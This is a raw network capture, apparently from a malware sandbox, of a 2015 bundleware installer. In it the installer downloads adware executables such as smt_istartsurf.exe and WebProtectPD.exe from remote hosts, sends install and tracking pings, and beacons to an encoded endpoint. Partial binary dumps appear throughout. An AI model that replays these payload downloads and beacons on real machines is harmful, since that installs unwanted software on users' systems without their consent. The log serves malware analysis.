.}..e.I2.[X.Y..q.r)%...9.}..VG..=.p...([email protected]._..0
...0.2.6qH........P.?.L.v......n2w..$.~f....T...~K..d.\.U.A.N}..j|..Yt
s.....>Um#U....R...c....d.).8g.C. [email protected].;]. X.>.
3Qd.....s.|.._..(...Iz.z...I&..S].C.^....{]y.Z....i.w_...]V.j3.=F-7z..
.Z..j.^...p.x.l5>....'....A.$8=........O.....ad.....A.g&.;....:<<< skipped >>>

GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: d17g6dyg7fgcv7.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 72922

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:08:22 GMT

x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990

Cache-Control: max-age=3600

Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT

ETag: "80764229a410305724108417115b8ce8"

Accept-Ranges: bytes

Server: AmazonS3

Age: 705

X-Cache: Hit from cloudfront

Via: 1.1 6296292885688507e00160ec3af83700.cloudfront.net (CloudFront)

X-Amz-Cf-Id: TvaYEvF3M8ATcg04709sFvfS0GKXrta_EWMCZzWMgSe1153l9269kQ==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........0.......p....@.........................
.................................................s.......... B........
...................................................................p..
.............................text...hZ.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected]...`[email protected]... B.......D...v
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...6B...Si.....VW.T.....tO.q.3.;5.6B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.6B.r._^[...U..QQ.U.SV..i.<<< skipped >>>

GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1

Range: bytes=73277-

User-Agent: Better Installer(Mozilla)

Host: d1fm7s0411k9q7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 512937

Connection: keep-alive

Date: Sun, 19 Apr 2015 05:10:27 GMT

x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671

Cache-Control: max-age=3600

Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT

ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 73277-586213/586214

X-Cache: Hit from cloudfront

Via: 1.1 c0d8851778177ac6bc88a130d5510155.cloudfront.net (CloudFront)

X-Amz-Cf-Id: w5f_B6dGd_1eIYHzEqj9M8ibDHN3rYyw5-lT9E-_wD0afShEJoOXiA==
.9.z.f..2......./5h_G. zh@>.........8.Q$Rj....m&........g.c......,.
..>5.Q...Qr...~p..(..>.;./%..a....!..,....-...k.z..<....@h#~}
fN..x.Xi.&..._%cR....L........%...L.....cw/zi.d.t.*..u....D..9?'......
}..}..Y....G{.c....?W4....3.K1..9gUy][email protected]{..kY.r..@.
..... ........."."1........\.n...&..a!5...Y....s.s...GS.......*.......
..3..G.a.HT....E...*$..!.'l..h\.........a...MS.9...oz%.^.....>..r..
.~..[.....6Mw....E......soU[......f#..V&.7P.......?*.$.8P..,.j.....1..
[email protected]...%R......j,Ba]..........#:....j`..I<Tw.)GA
'X-..M....x(o9...eG...&g.S........Sk...ak..E.b.L?..0..Q...............
 .$.f.NR$...rv.=.#.....MG..#QQ..Y....;,..dno.u....x.......H3...Z...(y.
.......~...8(..H.#..}.....h....Y.....[.2....)a.%.}8.^w.........N.5.R}A
(..>.<.-G*....n=..a.?.......V..H.....I.[Q.Zs,..T..T(..{.:.^(..%.
.k.^o.....q*..V,..eAej..u.t.,qi.Q.Z#..V.I........M......>.%...)....
D....L'[V...tl.....Owm..{._..g......d.5....4D9..|..#X[...t:lvP'\....j8
.".}[email protected].}k2.|L.....p...[..d. .s.....r^..;V.._.6.....
U&...g..K.*......@... [./...9.........e...oF....k....=L...(#.M.u......
|....j....*2......./.."B.S.QK....7....[....;& [email protected]......^.Z@....>
;.Z7?....5R/..4<.. ~...;...87.D.....V.&.....vm..?.....i......l.L(.C
..1....o...?.pF.[.Q.........6...0MsN...P.Go.[S...4...C#..{.g02.cU....U
 ..z.......g...o..g.x$..Z.^Z...:......iW\...p.JbP...1#...2<o...}r.3
(......1.f.....F...n..i...l......,).Vm.]...s......`..V[_^........b&.w&
"hy=/{.../.Z.D[M.vB.1.2P...*.j.?...bFL.......W...`..C....O*...8.. <<< skipped >>>

GET /pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=ad2252ce007468623bd139b0adec3423&client_uid=607d1371d8f3494f867a2b514a49c4e9&uniqid=bbef8102d6345f6e5aea4567f3493da7&affiliate_id=awde7zip53656&software_id=7zip&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=e26bca09d78a7097a393d38fe080cfe2&tokyo_csrf2_timestamp=1429690806&slot_number=2&index_in_screen=1&index_in_session=2&0.9388202755332841 HTTP/1.1

Accept: */*

Referer: hXXp://bi.bisrv.com/awde7zip53656/7zip/607d1371d8f3494f867a2b514a49c4e9?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423

Accept-Language: en-US

Accept-Encoding: gzip, deflate

User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)

Host: bi.bisrv.com

Connection: Keep-Alive

Cookie: __utma=1.1154272012.1429690800.1429690800.1429690800.1; __utmb=1.1.10.1429690800; __utmc=1; __utmz=1.1429690800.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utmt=1


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:20:41 GMT

Content-Type: image/jpeg

Transfer-Encoding: chunked

0..HTTP/1.1 200 OK..Server: nginx..Date: Wed, 22 Apr 2015 08:20:41 GMT
..Content-Type: image/jpeg..Transfer-Encoding: chunked..0..

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=419580-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:11 GMT

Content-Type: application/octet-stream

Content-Length: 251748

Last-Modified: Tue, 21 Apr 2015 02:13:21 GMT

Connection: keep-alive

Expires: Sat, 25 Apr 2015 08:20:11 GMT

Cache-Control: max-age=259200

Content-Range: bytes 419580-671327/671328
.<...Q..8...QRP.0>.... ......^]..u...4...Q..0...QRP..>....(..
....^].-rF.?rF.hrF..rF..rF..rF..rF.=sF.QrF..sF.........U..V.u.........
...Z=..............0.....4...^]..U...E..M..U.............].......U...E
..M..U.............].......U...U...|!.M.....r..E.......@............].
.E............................]......U...U...|!.M.....r..E....... ....
........]..E............................]......U.........T.H.3..E..E.S
VW.8..............3...t.....x.....d.....h.....l.....p.....\.....`.....
T.....X.....P.......;...U. .4......U..E. .0....E..5P.G..E............`
........E..U........z....................M..U..m.... .................
.......z....................E..M..m....................9.......j....M.
..P.............9M.|....U.;U.v..E..M....E....P....E....T..............
.......................}...I.........|..........U....E......E.........
.......M.RPQV..:........E...u.......u....P....M. ..P......T......T....
.|....].x-..=7.A.v$..|....E..5H.H.....................^j.h....SP.Z*...
......RPSQ..................2........................;.|...;.w........
................................tk............R......Q......R......Q..
....R......Q......R......QR......$..t.h4.H.W..=....._..^[.M.3........]
.........t].............. .\$........\$........\$.........$Q......$..t
.h4.H.W.u=....._..^[.M.3........]...P............xF................t.Q
P..0...h..H.P..........0...h`.H.Q........................ ............
....................................PQVS.......\.....`.....|[.....'..v
.j.jdVS.....R......P.......#..|2....t,............j.jdQR.2(..VSRP.<<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Server: nginx

Date: Wed, 22 Apr 2015 08:20:10 GMT

Content-Type: application/octet-stream

Content-Length: 671328

Last-Modified: Tue, 21 Apr 2015 02:13:21 GMT

Connection: keep-alive

Expires: Sat, 25 Apr 2015 08:20:10 GMT

Cache-Control: max-age=259200

Accept-Ranges: bytes
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.........*...D...D.
[email protected][email protected][email protected][email protected]...
[email protected]............
[email protected]............
@.......................................... ..............."..`.......
[email protected]................
...............text....P.......R.................. ..`.rdata...^...p..
.`...V..............@[email protected]...$O.......,[email protected].
....... ......................@[email protected]..................
@..B..................................................................
......................................................................
......................................................................
......................................................................
............................................U..j.h.NG.d.....P....T.H.3
.P.E.d......M..E....Q...e.P......M.......E.....j.j..M..K...j.j..M.Q.M.
.K....E......E..M.d......Y..]...U..Q.M..E.P.pn.....P.M..4.....].......
..........U..Q.M.j.j..E.P.M.Q.U.R.M..a.....]..............U..Q.M..M...
....E...]...........U..Q.M..M......P.E.P.M..d...P.M........]........U.
.....M..E..H.;M.r..M......;E.s..M.......U..B. E.;E.s..M..Q. U..U..M...
... E..E..E.;E.s..M..M.... U..E..H. M.;.w..M.......U..B. E. E..E..M..Q
..U. U..U..E..H.;M.s.j..U.R.M..?....E.;E.tS.M.Q.M.......E..E.P.M..<<< skipped >>>

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.hp HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 22 Apr 2015 08:23:31 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.59 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 22 Apr 20
15 08:23:31 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.59 ms","message":"store 1 ac
tion and 0 update "}..0......

GET /v4/sof-installer/267123711_198339_B48A115F?action=smt.installer.istartsurf.nt.ff.tab HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) Pi/3.1415926

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 22 Apr 2015 08:23:37 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"0.59 ms","message":"store 1 action and 0 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 22 Apr 20
15 08:23:37 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"0.59 ms","message":"store 1 ac
tion and 0 update "}..0..

GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1

Range: bytes=54692-

User-Agent: Better Installer(Mozilla)

Host: d17g6dyg7fgcv7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 18230

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:08:22 GMT

x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990

Cache-Control: max-age=3600

Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT

ETag: "80764229a410305724108417115b8ce8"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 54692-72921/72922

Age: 706

X-Cache: Hit from cloudfront

Via: 1.1 ff7053cb54d39315806cac9d50632264.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 94b1qtEZ0D2FHyiyLPRhGtdSvrrAfwRe_BTgd60q4GHXaenLOSYYaw==
c...D..w=*>..P.g...l..6.I..O}4........%.!.h.dkz....G..w....,.,(g.t.
5!.(:..!<.n.......)...R.S..IFu..r$PoWIA.2....{..#.W...8`... ..u..*W
.....FL..*.'.....P.<.O.c.$.@6{..E.[[email protected]=o.........m.G.9...P./N
....C{.5...;.(....y.s....;Y.q..rgw9.L..[..X..L.( '".y*...#....FI/.....
.,...%.my$...K....[.R.]...2........p...=.[.d.$U!.Y.....L.I....k...../N
.EFS..]K.c.Q5.Wkp...;..)pvTBMl...)4.o^...C.XbtQ.v4....4........1.....k
4L.~mO...P|&.c.6.....q.I[..a..#..L=..e..:.|Iv........L.....5.5 cn2.}.Q
[email protected]..... ........3.M!.9.. .x.!..r....:...::.~=..4...E.>,......
...c...u....R8N..m.....;t..c......%..dN.%.X.S.G..r........5.1aIG@...\ 
{=.9,1^[email protected]... .]..O..q...H..h1.....[....#.r
.-. .A.8.u...Aq....x..Y.H.7G&G...V..h..&Q?.m.;.N...y.......f..X. .).e&
gt;..y..i...^.9|.H..T...u..*[email protected]..
...._.v.....3.....,....q=.........'*....8.&..J.UJ.....t..!........6K.F
..\.7.h...?.....n..>.[.)?H@ ........p.;..S.T.?..T......,.0...].....
X.}...v[..saQg.q.u...j.. ..t..Rb3...c.............Sf~..Q.%.Y...X.u7.."
l%.?%.9.4o.../f_W....#..R...Qp.c..........OG.*P.$.5..%[email protected]
...b........W......P.X.H\~.1.....2.tjEx...k...X.6.....b.D.W..9G;.(..xL
.x...I.S...CC..\.........l7^.a.^.z..c~e...........%...f.K.Kk'..O..T...
Y.r.i6zW.....S.EX..f./..x..P...........`......n...Q.He...oQ=...~,.....
#..zf].J....W...b.......=..6.d!....j...8.5..~...8.R.@{E1.9...s..40<
...N J.z.z.n-e?%.67..Ja.?.w*[email protected]....:.........7.
.SW..%..Uhe....r;5.F.F.....3.-...Ftf....E.....{.[[email protected]....<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBR8sWZUnKvbRO5iJhat9GV793rVlAQUrb2YejS0Jvf6xCZU7wO94CTLVBoCEEIa8pQJhBkfUgpLxiQmp0s= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.usertrust.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:24:41 GMT

Server: Apache/2.2.22 (Debian)

Last-Modified: Wed, 22 Apr 2015 04:29:13 GMT

Expires: Sun, 26 Apr 2015 04:29:13 GMT

ETag: 981041912F4EBCDD4F9EA43321FDE8C535C54EEA

Cache-Control: max-age=330871,public,no-transform,must-revalidate

X-OCSP-Reponder-ID: h6edcaocsp5

Content-Length: 471

Connection: close

Content-Type: application/ocsp-response
0..........0..... .....0......0...0.........z4.&...&T....$.T...2015042
2042913Z0s0q0I0... ........|.fT...D.b&...e{.z.......z4.&...&T....$.T..
.B.......R.K.$&.K....20150422042913Z....20150426042913Z0...*.H........
.....d.2....0.n..N.....bu.Q].G........^#..[~/$j....&...H.|.a..9KS.-..`
..b...9...S..C.wCq.....r...6...D..I....E|^8K3p.w..U*....{.X....*.4..;.
{...F.Tp..~9.%..r.KzQ.....p....[..mf.. .|C.........L.x=Z..m.P.9....x..
$TJ/....=.(...R.....D2.v(..jl.A... .:..I.-U..t... h..

GET /mirror/filesfrog/UpdateCheckerSetup.exe HTTP/1.1

Range: bytes=175063-

User-Agent: Better Installer(Mozilla)

Host: d1z9ocnzqrnjt0.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 25009

Connection: keep-alive

Date: Sun, 19 Apr 2015 06:46:01 GMT

x-amz-version-id: jL0aSyRduHp4LqyncVK8Wm3JP0W5VrZH

x-amz-meta-s3cmd-attrs: uid:0/gname:root/uname:root/gid:0/mode:33188/mtime:1382010969/atime:1382011574/ctime:1382011537

Cache-Control: max-age=3600

Last-Modified: Thu, 17 Oct 2013 12:06:36 GMT

ETag: "ef7d1863f4980ab0c8bda142fee67f92"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 175063-200071/200072

Age: 1032

X-Cache: Hit from cloudfront

Via: 1.1 9391ad8b6b37ce57524439873a355ed0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 2jLnXEGtlt5hFChYRkMX61vXBUSLpf-sE9SdSbADQvVlFrq5J1WwMw==
J.s..o.6Q.....Y........^?.....{D.i......B.M..... c(.r&.......M.ggR...T
....=".z`......v......w.\.(.4.v.....;.A5......d.......$..8O..../..P...
.....{n(.Cw7!.G..._...t.....f.............j.4....37.....%.C.xJcX.....U
....N.e...-[1..T#\.]....zU|.;Q...pLN$.`n....(=.7=YR76....1..?.Q..;.Zwe
....o 1..1g..#R.C,..6KX..q.s|.ik...Q\.}...O.....k..x...J...>.:W..=.
[email protected]....;.B.X.. ..c...[F.t[....}7..&........."G.....[..\].~*.
.....9.F....ljJ>\Qm'.IIUE.;....a......d..^.Y......W..J.M..0Q....n..
."N.5.'.@...&B...$j@J...... P...O.D..D..A.........l..]G6.r.sv..%^..' #
,..;cM"[email protected]#..-..0.MX......$...W......s%.b..8.#.3...1%...I.....[
..{.L.H...mE..T7.\.m.ur ..h......p1..Q....5O..4.....g......C........G.
E..24.j..v.o."..[\dZ.xH....&.J..._...l...zGF5 e.Vg..n...2......_.IQ.db
C?..I........Zr...,.S.}d.i..g?......./7.D.Y.7I..[.8.....?g.p...Pre...P
F.K.;......cm8...U....O~..b...b..}.O....].YB..w..2YU........o....z...L
.{7.....8....3^q..........3rB..N.M.........`..G...*[email protected]..
.........`.V.......c.9......A^..3?..^`..S`[email protected]. ...Kq..a..B
2Z.8..o.[?. ...&..2.p..\..r..P..%G%.%B..O......OE(...H6..aX.^,C.a<.
.........i.....!.?s .....d..8!...}V..>].VH.7...Es.NH..gv..........k
.d..........H..Q.%M^...'....._.:_^j...F4..E/...S.....Y..P...H&&<...
(...1......f.?.X-...........e....-.....n...h.g...Sh.......WN...$..DJ.g
5H..=M.}".n..t.".s......W.Ls......4o.....f5....."..o......a./.....%...
..xGl\.;.2.k.[.....k`.v........<d..~.B."...=!]...`B....f....j....P.
r.Is.l......6.A....L./k.........h...x.......I.AR...,.....]..}.....<<< skipped >>>

GET /t.ashx?e=ZOyK 2tCTWCfZNC1TqAoBC U5jeiXPoc1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6ZbCM7llhnoTm3f1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:16 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhsk....

GET /t.ashx?e=ZOyK 2tCTWCfZNC1TqAoBC U5jeiXPoc1VMaOJFqXYpxTYwWxYG9WJlbztiqtoL/kmHgElHm6ZbCM7llhnoTm3f1ws7XaD2yIg8T0WOKObqUfdGpw3nUgqY7qyMgvUCw94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjlm1PwhpieWJw== HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:16 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhsk....

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: xqjdaibxl-g48pastf.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:16 GMT

Content-Type: text/html; charset=utf-8

Content-Length: 13

Connection: keep-alive

Cache-Control: private,no-cache, no-store

X-AspNet-Version: 2.0.50727

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

abfgshdgfjhskHTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:16 GMT..Con
tent-Type: text/html; charset=utf-8..Content-Length: 13..Connection: k
eep-alive..Cache-Control: private,no-cache, no-store..X-AspNet-Version
: 2.0.50727..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X-Cache:
 MISS..abfgshdgfjhsk..

GET /v4/searchprotect/267123711_198339_B48A115F?action=visit.heartbeat.smt&update0=ref,smt&update1=nation,us&update2=language,en&update3=version,4.0.1.2105 HTTP/1.1

Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0) in my heart of heart.

Host: xa.xingcloud.com


HTTP/1.1 200 OK

Server: nginx/0.7.67

Date: Wed, 22 Apr 2015 08:23:49 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: keep-alive

X-Powered-By: PHP/5.3.3

xa-api-version: v4

48..{"stats":"ok","time":"1.49 ms","message":"store 2 action and 4 upd
ate "}..0..HTTP/1.1 200 OK..Server: nginx/0.7.67..Date: Wed, 22 Apr 20
15 08:23:49 GMT..Content-Type: text/html; charset=utf-8..Transfer-Enco
ding: chunked..Connection: keep-alive..X-Powered-By: PHP/5.3.3..xa-api
-version: v4..48..{"stats":"ok","time":"1.49 ms","message":"store 2 ac
tion and 4 update "}..0..

GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1

Range: bytes=512938-

User-Agent: Better Installer(Mozilla)

Host: d1fm7s0411k9q7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 73276

Connection: keep-alive

Date: Sun, 19 Apr 2015 05:10:27 GMT

x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671

Cache-Control: max-age=3600

Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT

ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 512938-586213/586214

X-Cache: Hit from cloudfront

Via: 1.1 d49ed3edd173b406741cc9c27a726287.cloudfront.net (CloudFront)

X-Amz-Cf-Id: hEtiyWxtUMrjawCB5mrLjjFw4qzOkZh3DZ4R8cgvMObefq3xgvsSzw==
....\z...L.N.......lJ...$.].N... .......p7x6..}..w...s...............l
...5....)[email protected].'l.E.....>....;.=-..]..#.c...L.R..3.r..CL
...,....6.Z..h...L.\........w...N!....L.w{W^..0..S.....os..T..d!3.(..)
......}..%..=,.,./...=...:.%vkZ...M.....1.Z......).H.f'..........i.f0t
......J.>[email protected]..^..j9..]<....b. .B......85..y..9....,uM......
....q4.6....hp.Y..tom...y^:g7...mq......i]..m....)..`....,.41.........
.:_._z.F.4....xQ.T}.2.{.yX.,.....$.`.....".T..>..* 9.!..?vI%(.w.1.B
....ER...!.:..=...<...d(....W.......7.....k..w.9...*...B....(.. 7.G
...e.]s.b....&.....z....j..K....o.D..k.....s.c.....?...%3y.....ZE!..h3
d.\.<Z... !^.x..?...t.J-...s....E.&.....~...7..[L." b....<....].
_.J.A...n...}/.(....l..az3..b...S.}..."........7N...T.I`..........d.xg
2f...G..:..4b.....V.W...&h..N&....TL...a.....aq:.......;. .P..a..<'
.`.."Le..o[,.".....A.L.I..E...Gc~.!;?.*.B...b.......f..I..x#J.U..m....
....)....."k.lz&>$..A..([.*,......m.Z.j=..J=....\O.P//"...e..$.r...
:J~#&...0/.<.l...m>..p.g....G4l.......E\.n..`%TBv..vLy........d.
.2..$z.8...X.bT....D..\Jj....k..:..r....W.W..[.\.`.......p.gJ##Y..0`.S
..Y3.............>3JH.c`.......z)..].Qz.V .!<.....8.2........v..
8.......L.e?."..W.(h.-/u....2.k..h.....C\..2.D....6..1^3.e.9......A.A.
..;[email protected]...!_..g$..36...5.#R|,..s`....S*.K..~vL.^V.
mC..j_.k.......G....{...>.3......V..._R..nYM....Z.O..2.)....k,8@...
..d.>..........;....Hg@'......~...nq.\....v......f.].E...8:..o.i.9.
[email protected].}2..&ASi...0...zpCM..R....7.i*.mM.e.k..Y|.<<< skipped >>>

GET / HTTP/1.1

Host: VVV.google.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 302 Found

Cache-Control: private

Content-Type: text/html; charset=UTF-8

Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=hlo3VY3UFsHDNNvHgagN

Content-Length: 260

Date: Wed, 22 Apr 2015 08:23:34 GMT

Server: GFE/2.0

Alternate-Protocol: 80:quic,p=1
<HTML><HEAD><meta http-equiv="content-type" content="te
xt/html;charset=utf-8">.<TITLE>302 Moved</TITLE></HE
AD><BODY>.<H1>302 Moved</H1>.The document has mov
ed.<A HREF="hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=hlo3VY3UFsHD
NNvHgagN">here</A>...</BODY></HTML>..HTTP/1.1 302
 Found..Cache-Control: private..Content-Type: text/html; charset=UTF-8
..Location: hXXp://VVV.google.com.ua/?gfe_rd=cr&ei=hlo3VY3UFsHDNNvHgag
N..Content-Length: 260..Date: Wed, 22 Apr 2015 08:23:34 GMT..Server: G
FE/2.0..Alternate-Protocol: 80:quic,p=1..<HTML><HEAD><m
eta http-equiv="content-type" content="text/html;charset=utf-8">.&l
t;TITLE>302 Moved</TITLE></HEAD><BODY>.<H1>
302 Moved</H1>.The document has moved.<A HREF="hXXp://VVV.goo
gle.com.ua/?gfe_rd=cr&ei=hlo3VY3UFsHDNNvHgagN">here</A>..
.</BODY></HTML>....

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=83916-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:11 GMT

Content-Type: application/octet-stream

Content-Length: 587412

Last-Modified: Tue, 21 Apr 2015 02:13:21 GMT

Connection: keep-alive

Expires: Sat, 25 Apr 2015 08:20:11 GMT

Cache-Control: max-age=259200

Content-Range: bytes 83916-671327/671328
..U...B...<..........wH...@.............................:.uF.......
t1.......B.............:A.u#.....................u....................
.......................t...<....U..D...E.......M..M...Q...D.....D..
............:.....D..............;.....D..............K....E.....E....
:.....t{.U..U.....M..M...Q.......M..M...Q.......M..M...Q........4....E
.....E...4...Q.)...................U......... ...........$......;.....
t{.E..E.....U..U...B.......U..U...B.......U..U...B........0....M.....M
...0...R.....................E............................K.....t{.M..
M.....E..E...H.......E..E...H.......E..E...H........,....U.....U...,..
.P.....................M............................#....}..t..M......
.......R..!....................u..........M...8...3._^.M.3........]...
........U.... ....T.H.3..E..}[email protected].
......M..M..U..................t6.........../t............\u........E.
..................U........E.;E.tR.M. M.....Q.U.R......P..H......M. M.
..3.f..M..........P.M.Q.......................3.f.......}..t..M.Q.....
.R.........E.P......Q..............R..@pG....u.j.......P...pG..M.3..a.
....].....U.........T.H.3..E.VW..|....}..t..}..t..}..t............}...
.S.....|....M.;H.........|....z..t...|.....Q..........|....B.......|..
....U.;Q.|.......>.....|......U.;Q.}...|.....Q.K........|......H.;M
.}...|.....P............|.....<...R..|.....Q..........|....E..B....
...Q.U.R.E.P..|.....R.........................|.....Q..........|....B.
.............t.3..q..........~.......^..........u.......K.........<<< skipped >>>

GET /infv5/index/3428/3rd HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0

Host: dqoup4b5zs0bi.cloudfront.net

Accept: */*

Accept-Encoding: gzip, deflate

Connection:keep-alive


HTTP/1.1 302 Moved Temporarily

Content-Type: text/html

Content-Length: 0

Connection: keep-alive

